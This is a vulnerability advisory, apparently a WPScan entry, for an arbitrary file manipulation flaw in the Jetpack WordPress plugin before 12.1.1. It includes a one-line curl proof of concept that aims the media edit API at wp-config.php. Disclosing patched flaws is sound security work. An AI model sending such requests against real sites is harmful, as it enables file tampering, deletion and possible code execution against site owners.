WordPress Plugin Vulnerabilities
Jetpack < 12.1.1 - Author+ Arbitrary File Manipulation via API
Description
The plugin does not validate uploaded files, allowing users with author roles or above to manipulate existing files on the site, deleting arbitrary files, and in rare cases achieve Remote Code Execution via phar deserialization.
Proof of Concept
curl --json '{ "media": {"tmp_name": "/WP_CONTENT_PATH/wp-config.php", "name": "test.txt"} }' https://public-api.wordpress.com/rest/v1.2/sites/BLOG_ID/media/1/edit
Where BLOG_ID is the site Jetpack blog id.
Affects Plugins
Fixed in 12.1.1 References
Miscellaneous
Original Researcher
Miguel Neto
Submitter
WPScan
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-05-30 (about 11 months ago)
Added
2023-05-30 (about 11 months ago)
Last Updated
2023-05-30 (about 11 months ago)
WPScan 